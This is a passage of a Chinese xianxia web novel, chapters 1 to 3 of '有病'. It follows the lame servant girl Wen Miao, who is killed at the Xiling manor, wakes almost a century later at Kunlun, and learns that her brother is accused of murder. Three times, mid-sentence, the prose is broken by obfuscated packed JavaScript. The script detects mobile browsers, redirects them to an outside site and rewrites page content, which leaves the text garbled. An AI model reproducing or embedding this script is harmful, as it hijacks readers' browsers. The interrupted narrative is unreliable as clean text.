《有病》 1. 第 1 章 西陵府上空不断有低飞的虫鸟,落叶也被乱风卷起,在压低的乌云下翻飞,像是巨大的灰布抖落的尘屑。 雷雨即将到来前,空气总是又闷又热,人就像是在蒸笼里一样,身心都燥热不已。 温渺刚从府外回来,手里还拿着一个糖画,眼见快下雨了,她回来的时候跑得很快,也不在意一瘸一拐的滑稽跑姿,就怕糖画和怀里的米糕被水浇坏了。 晌午的时候她跟阿娘大吵一架,吵得很凶,阿娘骂了她一顿,还说以后不给她做饭吃,饿死她算了。 阿娘不许她再去经常找长公子,说长公子就算不被妖女迷了魂,也不会看上她一个烧火做饭的跛脚家仆,更何况所有人都知道,西陵府历代长公子都是活不过二十的,这一位也快死了。 阿娘嘴巴毒,温渺被骂急了也回口,但她哭着跑出去的时候,看到阿娘也红了眼。 在街上走了一会儿温渺就后悔了,她还是不觉得阿娘说得对,但她不想让阿娘伤心,所以路上又买了阿娘爱吃的桂花米糕,准备一会儿给她道个歉。 “渺渺,你当心点,跑这么快干什么?”府上和温渺相熟的侍女看到她,招呼着让她停下。 “二公子生辰快到了,昆仑和游仙门的修士来府上镇压阴炁,夫人说了要好好招待,二公子有仙缘,指不准被哪个仙长意中,日后要去一等仙门求仙的,你腿脚不便,可当心点,别冲撞了贵客。” 她应道:“晓得啦,乔姐姐,你看到我娘了吗?” “说起这个,你跟你娘吵架了吧,是不是饿着肚子?”她看温渺不言语,了然地笑笑,说:“你娘出门采买了,灶上给你热了饭,你要是不吃,你娘回来看到以为你还跟她置气呢。” 温渺心中羞愧,低头说了声是,正要往回走,脚步又顿住,随即朝另一个方向迈去。 这么热的天,糖画本来就容易化,一会儿下了雨更不好送,她腿脚又慢,得快点把糖画给长公子了再回来吃饭。 “还没说去哪儿呢渺渺?” 她加快脚步,裙裾翻飞,像暴雨中会激起的涟漪。 “去净心居。”温渺匆匆回应她。 净心居,那是长公子的住处。 身后的人擦了把热汗,又叹口气,说:“那你快点,要下雨了。” “嗯!” 一路上温渺看到有很多人穿着制式相同的衣裳,这些都是来自昆仑和游仙门的修士。 据说百年前各大仙门联手杀死了魔尊,魔尊留下的阴炁过于庞大,试了许多方法也难以消散,为了这些阴炁日后不被邪魔外道化用,便选择将它们封印。 西陵氏祖上几代曾是人间的帝王,又出过一位白日飞升的真仙,留下的血脉天生有抵抗阴炁的圣气。一位出自西陵氏的大能便作主将阴炁镇压在了西陵府,每隔三年派仙门精锐前来加固一次封印,直到这些阴炁经过长年累月的镇压淡化不见。 几百年来,偶有几次魔道妖人侵扰,也根本不痛不痒,连西陵府的大门都不曾损毁过。 经过那些穿着昆仑青白制服的修士时,温渺不禁多看了两眼。 六年前,有人说她的哥哥温朗是难得一见的奇才,于是带他去了昆仑,拜了昆仑最厉害的仙长做师尊,从那以后他就没有再归家。 温渺还记得,最开始听说要去昆仑和家人分开,温朗哭着说不想去,直到有个仙人说修道有成能够消除百病上天遁地,他顿时就止住了哭,盯着温渺的那只跛脚说:“我去,我要学法术,以后回来治好我妹妹的腿,看谁还敢欺负我们!” 温朗这么一去就是好多年,温渺再没见过他,但每年都能收到他从昆仑寄来的书信和小玩意儿。 哥哥今年的书信里说了,他是同辈弟子中最有天分的,修炼几年就比得上许多人十几二十年的的能耐,很快就能出师了,最快今年就能下山接她去昆仑治好腿疾。 温渺看到一个个英姿勃发的昆仑修士,不禁想到穿着这身衣服的哥哥是否也这样气派。 沉闷潮湿的乌云非但没能使她烦躁,反而她整个人都有些雀跃起来了,跛脚又跑快的样子像只受了伤的兔子,怪异中又透着些天真可爱。 不一会儿,她看到那些修士忽然像遇到了急事,急冲冲朝着一个方向奔去了。 温渺愣了一下,而后继续走她的路,直到又有几个家仆也匆忙走过,其中一位拉住她,瞪大眼,说:“傻姑娘去哪儿?府里有魔道妖人混进来了,还不赶紧躲好!一会儿给仙长们添麻烦!” 温渺一听,慌忙问:“那长公子呢?有妖人混进来,净心居派人守着了吗?” “长公子?管他干嘛?”对方显然没想到这一出,嗤笑两声,说:“他黄土都埋到脖子的病秧子了,谁有闲心去管,府主和夫人都不过问。你一个家仆,再怎么对他好,他还不是被一个野丫头迷得神魂颠倒,哪能看中你这个跛子?” 温渺被他说得又羞又恼,面色赤红,梗着说不出话,只攥紧了手里的糖画。 见温渺不理会,他变本加厉。 “还有你哥哥,去了多少年也不见回来一趟,没准在昆仑也是个废物,什么都学会,没脸下山吧?” 温渺本来还能忍着,听到这句话,脑子里那根紧绷的弦立刻断了,冲上去就要踢打他。 然而她一个跛脚的小姑娘,站都站不稳,被人随手一推就摔倒在地。 温渺倒的时候将糖画举起,砸在地上一声闷响,疼得她龇牙咧嘴,糖画却完好无损,她顿时又松了口气。 那家仆也不打算纠缠,又道:“行了你去吧,反正那地儿偏,邪魔外道可不稀罕来,伤不了你的长公子……”说完后,又抬脚迈过她。 温渺瞪了他一眼,也不再回应,只是头埋低了些,仔细拍去身上的灰尘。 长公子喜欢干净,不喜欢她身上灰扑扑的…… 几个家仆继续走,并不见他们因妖人作祟而慌乱,甚至还有心闲聊,有人说:“急什么,这些妖人隔几年就要闹一回,哪次掀起风浪了,至多一炷香的功夫……” “何须一炷香,这都是仙门中的精锐。那个崔昭听说了没,那可是昆仑日后的掌门……” “不是说还没定下吗?” “莫说崔昭,晚些时候游仙门掌门也该到了,出不了什么大事,躲着点就行了。” 他们说着便走远了,温渺却因为他们的话有些紧张起来。 平邪城百年前曾是皇都,如今人间虽不再有王朝,皇都的繁荣却延续至今,身为望族的西陵氏便世居在此。 世上五大仙门共治天下,昆仑亦是其中之一,平邪城便是在昆仑辖地内,受昆仑的统辖与保护。辖地内虽然又有成百的大小仙门,然而真正能被称之为昆仑的门派却只有一个,恰好昆仑派地界离平邪城不算远,一直以来城中也算十分太平。 对于魔道妖人,温渺从没有真正接触过,只是时常能听人提起他们无恶不作,残忍嗜杀 最近府里新来了一个兰花姑娘就被人说是妖魔,兰花生得很美,是温渺见过的最美的女子。她学过医术,甚至还有灵根,能使出一些小法术,一来府里就有很多人喜欢她,所以她说要去伺候长公子,总管立刻便同意了。 兰花来了以后,长公子好像开心了许多。 温渺觉得长公子似乎连气色都变好了,虽然兰花去侍奉长公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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隔着层层帘布似的雨幕,她余光却瞥到一个人影站在空荡荡的庭院中,被雨水浇得浑身湿透,动也不动,似雨中伶仃的鬼魂。 “长公子!” 温渺吓得惊叫一声,想也不想便冲进雨里。 她关切又恼火:“长公子,淋雨会风寒的,就算兰花……” 轰隆—— 随着一道闷雷,呼唤声戛然而止。 温渺的身体像被狂风掀飞的瓦片,轰地一声后,重重地砸在了石墙上。 瘦小的身躯以一种古怪的姿势瘫在地上,浑身骨头都被砸得粉碎,胸口处赫然一个狰狞的血洞汩汩冒血,迅速在水泊中氤氲出一片猩红。 那些雨水灌进温渺的眼睛,让她连西陵砚的动作都没看清,只觉得有一个力有千钧的重锤猛得砸上了她的胸口,撕心裂肺的疼痛占据她的全部意识。 迷茫、不解、恐惧都尽数被这摧心的痛苦盖过。 她仿佛听到了砖石砸落的声音,又仿佛只是错觉,因为她连哗啦啦的雨声都听不见了,耳朵里只剩长长的嗡鸣,痛苦让她眼前的一切都跟着天旋地转。 闪电的白光将天地照得彻亮,她却觉得眼里一阵阵发黑。 温渺疼得想大声惨叫,但她叫不出声,她的喉咙里都是血,一开口便有猩红抑制不住地涌出来,又被大雨冲刷,再涌出来,再冲刷。 她浑身都疼,四肢都被这道强劲的力量震断了,疼得她连手指都感觉不到,控制不了。 血水和雨水不断灌进温渺的口鼻,她眼前发昏,但她更想努力地睁大眼,试图去看清长公子的身影。 最后,她看到乌靴踩上碎成渣的糖画,淌过猩红的血水,一步不停地离去。 2. 第 2 章 “小妹!醒醒,快醒醒……” 女子关切的呼喊声,将温渺从沉沉的梦境中拉出来。 她从桌前撑起身,仿佛又感受到那股令人窒息的剧痛,苍白的脸上神情依然紧绷。 “绮云姐姐。” 温渺缓过神,才发觉自己在桌前睡着,一双手臂都枕麻了。 “做噩梦了?”孟绮云拍了拍温渺的后背,温声询问她。 “我就是想到了……以前的事。”温渺摇摇头,没有注意到对方语气柔和,眼神却难掩焦灼。“对了绮云姐姐,你这么急着找我,是我兄长要回来了吗?” 温渺想到这件事,方才那梦境所带来的阴霾才逐渐散去。 她醒来已经有几日了,正好温朗下山与苍山的修士联手除魔,如今他人不在昆仑,此回任务凶险,也不便接受昆仑的传讯,她就在这儿翘首等待他回来。 温渺总觉得自己只是睡了一觉,这一觉又沉又长,醒来已经人事全非,她什么都不剩,只有一个哥哥还在。 温朗去昆仑以后,她等着兄妹重逢,等了六年。再然后他回到西陵氏,却又要等着她醒来,等了九十四年。 孟绮云见温渺眼含期冀,默然了片刻,撇过脸似是思索如何开口。 温渺终于察觉到古怪,不安地询问:“是我哥受伤了吗?” “不是受伤,是……”孟绮云重重地叹了口气,才咬牙道:“大师兄杀了苍山少主,被苍山境内所有门派通缉,如今……下落不明。” —— 温朗拜入昆仑已有百年光阴,已经是除了他的师尊荐微以外,昆仑境内实力最强的剑修。 且他性格爽朗,侠义之心,在同门中风评很是不错,在他外出之时,温渺便常由他的师妹照看,其他师兄弟也有几位知晓温渺的存在,却都为她的安危对外缄口不言。 温朗一出事,昆仑上下一片沸腾,几乎人人都在惊愕叹息,更多的是质疑。 昆仑不管是修士还是百姓,对苍山有成见的人不是少数,温朗对苍山一脉更称得上是厌恶。可即便如此,他也不是冲动无智,害人性命的人,更不会怯于承担而私逃。 孟绮云知晓温渺心中焦急,只能带着她先去昆仑掌门的山主殿,询问掌门崔昭关于温朗的事。 昆仑地势险峻,常年落雪,辖地内有一半都是山脉,因此百姓不如其他仙门境内多,商道往来也麻烦些,一直不如其他四大仙门富庶。 温渺被孟绮云带着前往山主殿,身上裹了厚厚一层棉衣,还披了个厚实的斗篷。 孟绮云边走边说:“你现在身上虽然有些修为,但到底是没正经修炼过,还不会用功体抵御寒气,还是得穿厚实些,师兄在的时候嘱咐过,你身体不好……” 她走着走着,像是想起了什么,低头看了眼温渺的右腿,问:“对了,师兄说你的右腿天冷就发疼,现在还疼吗?” 温渺点点头,又摇了摇头。“不是很疼了,就一点点,没事的。” “唉,可惜了,就算修士也是肉体凡胎,伤势耽搁太久想要恢复如初很难,不过现在也算恢复了八成,走啊跳啊看着与寻常人无异,就是不知道日后会不会有碍修炼……”孟绮云怕温渺一直担心温朗的事,只能说些别的话分散她的注意。 温渺踩在厚厚的雪地上,这样平稳的脚步仍让她有些陌生。 或者说,其实现在的一切都很陌生。 醒过来之后,她好像一直是恍惚的。 她睁开眼,陌生的场景,陌生的人。 她慌乱地要找阿娘,那人就说:西陵府的人已经没了,她阿娘也不在了,是西陵砚杀了他们。 西陵砚喜欢的兰花是个修邪道的妖女,他为了跟兰花在一起自堕魔道,把府里的所有人都杀得干干净净。 他杀了父母,杀了所有的兄弟姐妹,杀了府中的家仆,连去府里镇压阴炁的修士都不是他的对手,一百一十三个仙门精锐,只有四人存活。 那为什么? 为什么她还活着? 孟绮云见温渺默然不语,轻叹口气,说:“自你醒来,一直很少与人交谈,我觉着有些事还是要师兄亲自告知你,但现在师兄不在,掌门是知道最多的人,你可以去问他。” 温渺仰起起头,本来还算俏丽的样貌,如今因为面色苍白,显得素淡许多,一双眼睛却仍是黑得发亮。 “孟师姐,我哥他不是那样的人。” 孟绮云揉了揉温渺的脑袋。“嗯,我们都相信师兄的为人,掌门和师尊一定会将他找回来,还师兄一个清白。” 温渺听她提起这两位,心里才多了几分安稳。 她没有见过哥哥的师尊,但是从前听他在信中提起过,醒来的几日,也有人说起过这位仙长的事。 她只知道荐微仙长是救了她性命的人,为了她费了很多心血。但其他人提起此事都是轻轻揭过,并没有说这究竟是怎样的一番心血,她也不好继续追问,等哥哥回来自然会与她详说。 拨云峰的阶梯又陡又长,覆盖的冰雪被反复踩踏,凝成了湿滑的坚冰。温渺走得很小心,她每走一步,都会想起温朗以前在书信中的话。 那个时候温朗常常抱怨,说其他四大仙门都将整个门派迁到了繁华之地,唯有昆仑为了保持千年的传统,偌大的山门依然是群山环绕,尤其是通往山主殿的拨云峰高又冷又难爬,但山顶的风景倒是不错。 他还说,等她的腿疾治好,他就领着她和阿娘上拨云峰一览昆仑风光。 近百年的光阴过去,已是物是人非,昆仑掌门还是不肯挪地方,死守着这座山主殿。 而温渺的腿疾也已经好了,只是要与她一同去拨云峰的亲人,却是一个也不在她身边。 由于温朗的事,不少弟子找上了掌门和荐微,想要为温朗鸣不平,自告奋勇寻找他的下落。 温朗杀的是苍山掌门的独子,这件事闹得沸沸扬扬,掌门和几位主事都不想让门中弟子掺和太多,以免事态扩大到刀剑相向的地步。 孟绮云领着温渺上拨云峰,也是因为得了掌门手令,提前便给温渺交代:“我们掌门很和气,绝对是五大仙门中最好说话的一位掌门,不像苍山掌门睚眦必报,但也不是琅华那般只会依附苍山的无能之辈……” 温渺对几大仙门的关系一无所知,听孟绮云说了一堆,才大致听懂了一点。 意思大概就是,仙盟每十二年从五大仙门中推出一位仙首,明面上五大仙门共治天下,一切听从仙首号令,看似这么多年风平浪静,实则底下暗潮汹涌,一不小心卷进去便会粉身碎骨。 表面上有仙盟的约束,时间一长,仙首的位置也成了各大仙门为了势力以权营私的工具。 昆仑地处偏僻,辖地虽广,却多是雪山覆盖的山脉,势力仅在琅华之上。 崔昭不希望让昆仑卷入争斗,只想维护昆仑辖地内的安定,百年来,昆仑从不与任何一派交恶,就连嘴上带毒见人就要刺上几句的苍山掌门,对上崔昭这种彬彬有礼的君子,也说不上几句难听话。 “所以啊,师兄这件事,对掌门来说很是棘手,要是他不能出面维护你哥,也是为了昆仑的大局,你可不要记恨……” 温渺点头:“我明白。” 拨云峰作为掌门主事的主峰已有近千年,山主殿上一次修缮也是很久以前的事了。 温渺到了峰顶,见到了真正的掌门居处,才发现外界威名赫赫的仙门魁首,原来住处也不是传闻那样富丽堂皇。 她原本以为会见到皇宫似的殿宇,结果还不如西陵府来得辉煌气派。 山主殿并不简陋,只是一眼望去,实在是久远得有点过分。 褪色到斑驳的琉璃瓦上,不仅有青苔,甚至还长了几棵半人高的草。 孟绮云见温渺在打量瓦片上的草,不禁轻咳两声,解释道:“昆仑尚俭,掌门以身作则……” 说好听点是低调节俭,说实话就是,谁不知道五大仙门,昆仑是最穷的那一个,重新建个富丽堂皇的大殿也是要钱的。 温渺立刻点头道:“我在书上看到过,崔掌门这是躬行节俭,他是好人。” 孟绮云被这种不加修饰的夸赞逗笑了,正要说点什么,就发现一人阔步朝他们走来。 崔昭穿着青色长袍,玉冠束发,器宇轩昂,见到两人后,脚步又加快了些。 “渺渺?”崔昭笑意温柔,微微低头,拍了拍对他目不转睛的温渺。“还记得我吗?” 自他出现,温渺的视线便落在他脸上,怎么也移不开。 她睁大眼,坚定点头。“我记得你。” 温渺记得崔昭。 不止因为他曾是名扬天下的昆仑双秀之一,更不是因为他曾去西陵府镇压阴炁。 温渺记得他,是因为一件更早之前的事了。 那个时候她的腿还没摔断,西陵府后山有一棵高大的垂枝梅,花枝杨柳一般垂落,晕染看着,似流泻而下的绯红绸缎。她第一次见到这样好看的花树,回去立刻告诉了西陵砚。 西陵砚病得很重,从小便不被允许离开院子,他安静地听着她说完,咳了几声后,目光落在院子里那棵弯曲的枣树上,却是更显落寞。 温渺最不忍见他露出这样的神情,于是她跑到后山去想给他折梅花,就是那个时候遇见了崔昭。 她当时不知道那是谁,只看到他躺在乱糟糟的树丛里,衣服上都是大片的血渍,脸上还有被荆棘挂出来的伤口。 阿娘从小教育她,要尽自己所能帮助别人,路见不平更要拔刀相助。 那时候还是冬天,那人冻得浑身僵冷,温渺才十二岁,也拖不动他,只能帮他把那些荆棘都给拨开,连带着她手上也被刺了好几道口子。 她上山前,阿娘给她裹了厚厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245255|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张斗篷,她把斗篷盖在男人身上,只能勉强盖住他半个身躯。 她那些动静,总算是将男人给折腾醒了。 分明他已经重伤到不能动弹,浑身都是可怖的伤口,睁眼见到她的第一反应,却还是冲她微笑,气若游丝地说:“别怕,我不是坏人。” 他说有坏人再找他,所以他暂时不能暴露行踪,只能先恢复功体。 温渺确认他不会死,就将怀里的糕点都留给了他,说:“天快黑了,我再不回家,阿娘要骂我的,我明日再来给你送吃的。” 他点头,说:“多谢,小友路上小心。” 温渺很晚才回去,怀里还抱着一大捧花枝,斗篷也不知道去哪儿了,阿娘把她一顿臭骂。她高高兴兴抱着花去见西陵砚,他坐在火炉边,苍白的脸被炭火映照出暖色,目光却冰冷。 “你去哪儿了?” 温渺将半蔫儿的花递到他面前。“你看,垂枝梅。” 他盯了一会儿,说:“不好看,以后不许去了。” “是花蔫了,一整棵花树才好看。”她坚持道。 西陵砚猛得咳嗽起来,整个人就像是在风中擞动的枯叶,温渺连忙去给他拍背顺气。 待他呼吸平复,倚靠在她的肩上,又重复一遍:“不许去了。” “那……那好吧。” 她想,答应不去摘垂枝梅了,只是去后山救人,应该也不算背信吧。 过了一会儿,又听他说:“把花插到花瓶里。” “哦。” 第二日第三日,她都照常去了后山,给那个伤重的修士带了吃食,还跟他说了很多话。 第四日,那个修士已经恢复了许多,他说:“我要走了,这几日多亏小友的照顾。” 温渺摇头:“修士斩妖除魔,我做这些都是应该的。” 他俯身,摸了摸她的脑袋,说:“要不是你,我就真的要死在这儿了,你有天资,若是想,我可以带你去修炼。” 她想到阿娘和西陵砚,于是摇摇头,说:“修炼好了,可以给人治病吗?” “寻常人适用不了修士的医治之法,是你的家人生了病?” “是我的朋友,他也在西陵府,他能修炼吗?” “来年三月,会有昆仑的修士到西陵府拜访,若你的朋友有天资,可以去找他。” “多谢你。” 他笑了笑,说:“你救了我,不要什么报答吗?” 温渺皱眉想了想,才说:“救人后还要人报答,就跟做买卖一样了,不能要。” “好,那便不算报答,算是在下送小友的礼物。”他从怀中掏出两个玩意儿递给她。 “可我没什么能送你的。”温渺没有立刻接过。 “你送的糕点不是很好吃吗?” 温渺这才将两样东西接过,是一个花生那么大的玉石,和一根约莫一指宽的长缎,上面画着繁复的花纹。 他说:“这个玉石会护你平安,缎带会保佑你长命百岁。” “那不是一样的吗?” 他微笑:“长得不一样啊。” —— 崔昭挥挥手,让孟绮云退下,见温渺还盯着自己,他才说:“温朗说你没死,所有人都不信,一直到他抱着你跪在山门前,我看到了固元石,才知晓你就是他的妹妹。” 温渺眼眶已经逐渐泛红,声线微颤,问他:“是因为这个玉石,我才活下来了吗?” “不止,你伤得太重,固元石不是神物,也只能为你续一口气,你能活下来,是……罢了,这些事,还是等温朗回来,亲自说与你听最好。” 崔昭领着她朝殿内走,边走边说:“温朗的事,你不必担心,我和几位长老还在商议……” 温渺若有所思,踌躇了片刻,终于忍不住停下脚步,说:“掌门,我还有一件事。” 当初她回到家,将玉石送给阿娘,又被阿娘塞回了她的衣袋,让她好好保管。 阿娘戳了下她的额角,说:“你娘我身体健朗,少说要活个七老八十,不像你成天上蹿下跳要人操心,保你平安就够了。” 而另一物…… 她深吸一口气,终于道:“那条绸带,我送给了西陵砚。” 话音方落,大殿中传来一道冰冷嗓音,如殿外的积雪,凉得她身躯一颤。 “我早说过,你不该将一线生随意赠人。” 温渺朝声音的源头看去,只见一人雪衣乌发站在檐下。 远看只见他眉眼俊美,神情却冷肃,一身威严又疏离的气度,让人生不出一点冒犯的念头。 崔昭安抚地轻拍温渺肩头,示意她不要害怕。 “这是温朗的师尊,荐微。” “仙长。”温渺愣了一下,忽然后退两步。 而后她扑通一声,跪在地上,朝着两人的方向结结实实地磕了个响头。 3. 第 3 章 莫说荐微,连一旁的崔昭都没预想到温渺的举动。 她磕了一个头,正要磕第二下的时候,崔昭制住她的动作,将她从地上拉了起来。 崔昭叹口气,道:“温朗的事,昆仑不会坐视不理,你这又是何必。” 温渺说:“我知晓,我相信昆仑会救我哥。” 她说完,一双盈亮的眼睛远远朝荐微看去。 荐微眉头轻蹙,冷冷道:“我不收徒。” 温渺心知误会,连忙摆着手解释:“没有没有,我怎敢奢望这种事,我是想跟仙长道谢,多谢仙长救我性命。” “救你?”荐微面上并未有什么变化,但语气却冷了几分,似是不悦。“绮云是如何说与你的。” “绮云姐只说仙长费了心血,并未与我多说。但仙长救了我,我……我真的心里感激。” 荐微看着她,道:“于我而言,只是小事,你已非家仆,日后莫要随意向人下跪磕头。” 他说完,温渺却没有点头答应,反而坚持道:“这是仙长们的小事,却是我的大事,仙长是我的救命恩人,这个头磕得一点也不随意。” 崔昭道:“我有机会救你,是因为你救我在先,便算是互相抵了,何须言谢。” 温渺仍是说:“我救掌门是应该,掌门救我,是因为掌门是好人,并非亏欠我才这么做,仍是于我有恩,我应该道谢的。” 她说着顿了一下,才接着说:“我在西陵府只是个婢女,没什么本领,但只要能报答两位仙长,让我做什么都可以。” 崔昭微笑着问她:“你这孩子,话说得不留余地,与你兄长当真是一家人。若是做什么都可以,要让你做坏事呢?” “掌门和仙长都是好人,不会让我做坏事。”她笃定道。 荐微默然了好一会儿,终于开口道:“无需报答,只要你珍惜性命便好。” 崔昭接着又说:“知晓你还活在世上的人屈指可数,从今往后,你要记得,温渺已经死了。” 她虽不明白,仍是点头应了,才问:“仙长能否告诉我原因?” “西陵砚。”荐微语气平静,说出口的话却像一块巨石丢下,在温渺的心上激起滔天巨浪。 “他会再杀你一次。” 一时间,温渺连呼吸都停住了。 “为什么?” “因为怨恨。” 怨恨什么? 温渺就算再天真,也该在此刻明了。 一个从小到大,只能被困在院子里,受尽奚落和冷眼的人,周围的一切,都值得他怨恨。 —— 温朗是荐微的首徒,入门的时候年纪小,为了往来方便,居所也离荐微的住处很近。而温渺只剩一息尚存,为了她的性命,近百年的时间里,她也一直躺在荐微的青莲谷。 青莲谷是禁地,非荐微门人与昆仑掌事,没有允许不得闯入。 温渺醒来后几日,除了孟师姐和两个面生的修士以外,还没有见过旁的人,连荐微本人也不曾见过。 如今她已经见过昆仑掌门,得到了答复,纵然没有哥哥的消息,她也无法强求,只能听话回去等着。 温渺跟在荐微身后,还以为有什么飞天遁地的术法,却见他只是抬步缓缓前行,一直走到悬崖边,踏上一个由铁索扣住的铜台。 温渺忘了眼陡峭的悬崖,脚步一时间不敢再动。 荐微站定后,出声催促:“上来吧。” 温渺双手紧攥着衣袖,这才紧跟上去。 铜台的大小差不多像是可以坐下八九人的圆桌,站下两人其实绰绰有余,但毕竟吊在悬崖上,山顶的寒风呼啸着吹过,袖袍灌了风高高鼓起,人好似也要摇晃着被吹下山去。 温渺站在上面,眼睛都不敢四处瞥,只能努力往中心靠,克制不由自主的战栗。 铜台的可怕,已经让她忽略了因寒冷而刺痛的右腿,而后她心中想着温朗,想着阿娘,便又觉得这份恐惧不算什么了。 “不会有事。” 温渺听到荐微的声音,下一刻,一只手掌落在她肩背,似是要扶住她。 温渺刚要抬头说谢,只见他手掌轻抬,瞬间他们便随着铜台坠了下去。 铜台坠落的速度快到温渺看不清眼前的景物,山石青松飞速从眼前划过,寒风灌进耳鼻,她的脑子也像是被冻住了,连惊叫都来不及。 直到铁索哗啦啦的声音传入,她的魂好似才跟了上来,睁眼一看,铜台已经靠近地面逐渐停下。 温渺惊魂未定地站稳,荐微将放在她肩背的手掌移开,她这才发现自己紧紧抱住了荐微伸来的手臂。 “对……对不住仙长。” “无事,走吧。” 温渺连忙从铜台上跳下来,仰头看了眼方才的崖顶,不住惊讶地瞪大眼。 他们居然从这么高的地方坠了下来? 她还以为仙长会腾云驾雾,直接从拨云峰飞走呢。 “仙长。” 温渺小跑着追上去。 “修士不是会飞吗?” 荐微道:“拨云峰有禁制,不能飞,铜台由铁索控制,设有法阵,若有急事,走此处即可。” 她又问:“那其他地方可以飞吗?” “御风御剑耗损灵气,走动亦是修行,若无必要,不会轻易使用。” “哦……” 接下来一路上,温渺都沉默着没有说话。 一路上有许多可以使她好奇的事物,然而她的心思早已被荐微的那句话死死压住。 回到青莲谷,荐微却没有让温渺回到自己的住处。 “先跟我过来,还有事要交代。” 即将到达青莲殿时候,有一个结着薄冰的湖面,湖上还有不少枯荷稀稀拉拉地支着。 要先走过湖上曲折的长廊,才能到达对岸的主殿。 温渺远远望去,只见荐微的居所并不奢华,但比山主殿看着要新一些。 荐微领着她绕过长廊,又穿过两个庭院,才走到一片竹林。 厚厚的竹叶被积雪掩盖,踩在上面软绵绵的。 竹子上垒起了雪堆,枝干低垂,看着随时要崩断。 温渺踩着雪堆脚步不稳,肩膀撞了棵竹子,下一刻就听头顶吱呀一声响,雪堆登时簌簌往下砸。 她已是躲闪不及,抱着头准备挨这么一下。 然而意料中的冰凉却未落下,一片白影拂过,雪堆已经四散在她周围。 她朝荐微看去,他已经转过身抚平袖角。 剩一阵若有似无的莲香,在她鼻尖将散未散。 “多谢仙长。” 荐微只是轻轻一颔首,领着她继续往前走,直到竹林深处出现一片空地,中央是个氤氲着蒙蒙水汽的暖泉。 “这暖泉用于化解你的寒毒,绮云应当交代过你,下去吧。” 他说完,温渺却没有动作。 她犹豫地问:“下去,那我要脱衣服吗?” 荐微顿住,一时也答不上来。 温渺来暖泉疗伤,只需与他告知一声,而后有温朗和孟绮云照看,他不曾过问这些细节。 温朗的事还需有人处理,孟绮云在安抚谷外请愿的弟子,他一时间也不好将人叫来。 “便和衣下去吧,我会命人为你送来新衣。” 荐微说完便要转身离开,却被温渺出声叫住。 “我还有一事想问。” 她手指紧攥在一起,迟迟没有接下文,像是开口极为艰难。 荐微并不催促,只是静静地看着她。 待到她启唇时,眼眶已经通红。 “西陵府的人呢,还有我阿娘,他们葬在哪儿了,我能祭拜吗?” 荐微语气平淡,出口的话却残忍。 “待结界破开,西陵府遍地血肉,已辨不清本来形貌,另有半数尸身遭到火焚,为免生事端,一并焚烧,分撒在平邪城各处。” 荐微看到温渺脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245256|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色苍白,肩膀止不住地颤抖,并没有要安慰的意思。 他只是叙述事实,西陵府的惨剧无法委婉,也不该委婉,温渺迟早要接受这一点。 西陵府灭门一事,再委婉也不过是在刀子上撒蜜糖,刺下来仍是鲜血淋漓。 温渺醒来不久,显然意图逃避,不愿多过问。 荐微见过很多这种人,这不是好事。 “既已过去,便不必执着曾经。” 温渺终于忍不住,哇得哭了出来,眼泪滚滚落下,边哭边哽咽。“是我把一线生给了西陵砚,是我害了他们,是我害死了这么多人……” “错不在你,当年……”荐微叹息一声,道:“当年仙门内斗,西陵氏被殃及,杀人者虽是西陵砚,可溯其根源,却是祸起五大仙门。” 温渺仍在哭,只是已经在尽力克制,用袖子抹掉眼泪,把脸颊都擦得通红,但眼泪还是情不自禁往外涌。 荐微看着她,忍不住想起事后五大仙门聚在一处。 仙盟的天人宫站满了当世最负盛名的修士,每一人都是人中龙凤,却无一人敢为西陵氏惨剧担责。 往日的风流气度通通抛开,为摆脱罪责,人人都争得面红耳赤,唾沫横飞,最后甚至还有几位在天人宫拳脚相向。 若要论罪,还轮不上温渺,可这么个小姑娘,明明什么都不懂,却将这么多人的死都怪罪到自己头上。 荐微不知道如何安慰她,只好又说了一遍:“错不在你。” 她的哭声渐渐收住,泛红还带着水光的眼睛望着荐微。“真的吗?” “真的。” 见温渺的脸上都是泪痕,鬓角的发丝都被泪水打湿了,狼狈得不像话,荐微撇开目光,说:“去吧,有事可以再寻我。” —— 冰天雪地,冷得人瑟瑟发抖。 温渺哆嗦着脱了几层衣裳,穿着里衣扑通一声滑到暖泉里,暖意顿时包裹全身。 她浸在泉水中浮沉,僵冷的身体好像也轻飘飘起来。 面上的泪痕被水雾氤氲后渐渐消去,思绪终于开始变得平静。 绮云姐姐说过,为了救她性命,温朗曾给她用过一味猛药。 然而凡人的身躯难以承受,尽管温朗将一身修为尽数渡向她,也没能救得了她。 最后荐微出手,让她一息留存,用这近百年的时间慢慢苏醒。 而她身上的寒毒,正是那一味猛药带来的暗疾,寒毒发作之时,寒入骨髓,苦不堪言,这暖泉正是为了寒毒而打造,连砌造的石壁都各有效用。 温渺仰起头,隔着朦胧水汽,去看飘落的雪花。 那么多人都死了,百年一过,他们就跟这些雪花一样,轻飘飘地消融不见。 本来她也该死的。 